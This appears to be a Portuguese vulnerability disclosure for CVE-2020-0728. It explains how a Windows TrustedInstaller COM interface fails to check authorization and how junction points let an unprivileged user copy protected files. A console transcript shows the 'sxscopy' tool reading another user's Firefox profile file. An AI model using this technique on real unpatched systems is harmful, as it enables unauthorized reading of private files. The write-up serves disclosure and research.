
Código de Prova de Conceito para CVE-2020-0728
O serviço TrustedInstaller.exe está sendo executado como NT_AUTHORITY\SYSTEM e hospeda o serviço COM da Sxs Store Class (3C6859CE-230B-48A4-BE6C-932C0C202048) juntamente com a interface ISxsStore.
As permissões de acesso (O:BAG:BAD:(A;;CCDCLC;;;PS)(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;IU)(A;;CCDC;;;SU)) deste serviço concedem acesso a qualquer usuário
no sistema local.
A interface ISxsStore expõe 4 métodos:
[Guid("8601319a-d7cf-40f3-9025-7f77125453c6")]
interface ISxsStore : IUnknown {
HRESULT BeginAssemblyInstall(/* Stack Offset: 8 */ [In] int p0);
HRESULT InstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_0* p2, /* Stack Offset: 32 */ [In] struct Struct_1* p3);
HRESULT EndAssemblyInstall(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [Out] int* p1);
HRESULT UninstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_1* p2, /* Stack Offset: 32 */ [In] int* p3);
}
Após a invocação, a implementação chama a interface ICbsWorker hospedada por TiWorker.exe (novamente, executando como NT_AUTHORITY\SYSTEM) para obter uma sessão ICbsSession8 e então praticamente chama os mesmos métodos nessa interface.
A lógica real é implementada na biblioteca sxsstore.dll; a autorização pode ser encontrada em CSxsStore::BeginAssemblyInstall:
uVar1 = SxspEnsureComClientIsAdmin((void **)this);
Isso é feito usando chamadas CoImpersonateClient+CheckTokenMembership.
O problema é que, se a sessão hospedada pelo processo TiWorker.exe for invocada por meio do wrapper TrustedInstaller.exe, a lógica de autorização implementada sempre encontra conexões de NT_AUTHORITY\SYSTEM e, portanto, concede acesso a qualquer pessoa.
Os assemblies solicitados para instalação são colocados em C:\Windows\WinSXS pela implementação que reside em wcp.dll (Windows::COM::CComponentStore::InternalTransact) e parece apresentar medidas de segurança suficientes para impedir que essas chamadas de método escapem desse diretório de destino legítimo, mas os arquivos de origem referenciados pelo manifesto podem ser abusados por meio de junction points.
Isso pode ser explorado para ignorar o DAC do sistema de arquivos e ler qualquer arquivo no sistema de arquivos local, como demonstrado abaixo:
Microsoft Windows [Version 10.0.18362.592]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami
desktop-43rnlku\unprivileged
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini"
Access is denied.
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>sxscopy.exe "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini" profiles.ini
sxscopy: C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini => profiles.ini
Creating helper junction sxscopy.junction -> C:\
Junction created for sxscopy.junction <<===>> C:\
Executing DCOM magic with manifest file C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon\sxscopy.manifest
Exploitation has succeeded, copy of the source file was placed inside WinSXS
Copy has succeeded!
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type profiles.ini
[Install308046B0AF4A39CB]
Default=Profiles/5bqqo33l.default
Locked=1
[Profile2]
Name=johndoe
IsRelative=1
Path=Profiles/5bqqo33l.default
Default=1
[Profile1]
Name=default
IsRelative=1
Path=Profiles/x89vbmzf.default
[Profile0]
Name=default-release
IsRelative=1
Path=Profiles/1kmhc44f.default-release
[General]
StartWithLastProfile=1
Version=2
O framework wcp é, na verdade, bastante complexo e apresenta vários 'instaladores' (por exemplo, execução de GenericCommand entre os 'avançados'), mas a interface acessível acima parece estar limitada apenas aos 'instaladores primitivos'. Consegui acionar a execução de CRegistryInstaller::CommitChanges, que emitiu log para C:\Windows\Logs\CBS\CBS.log, com linhas como:
2020-01-18 15:58:16, Info CSI 0000000c Registry installer wrote xxx values
Mas, na verdade, nunca chamou de fato nenhum método de API para alterar qualquer coisa no registro.
O relatório acima, juntamente com o código PoC, foi enviado por Imre Rad, mas também foi identificado por pesquisadores da NCC (na verdade, alguns meses antes).
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0728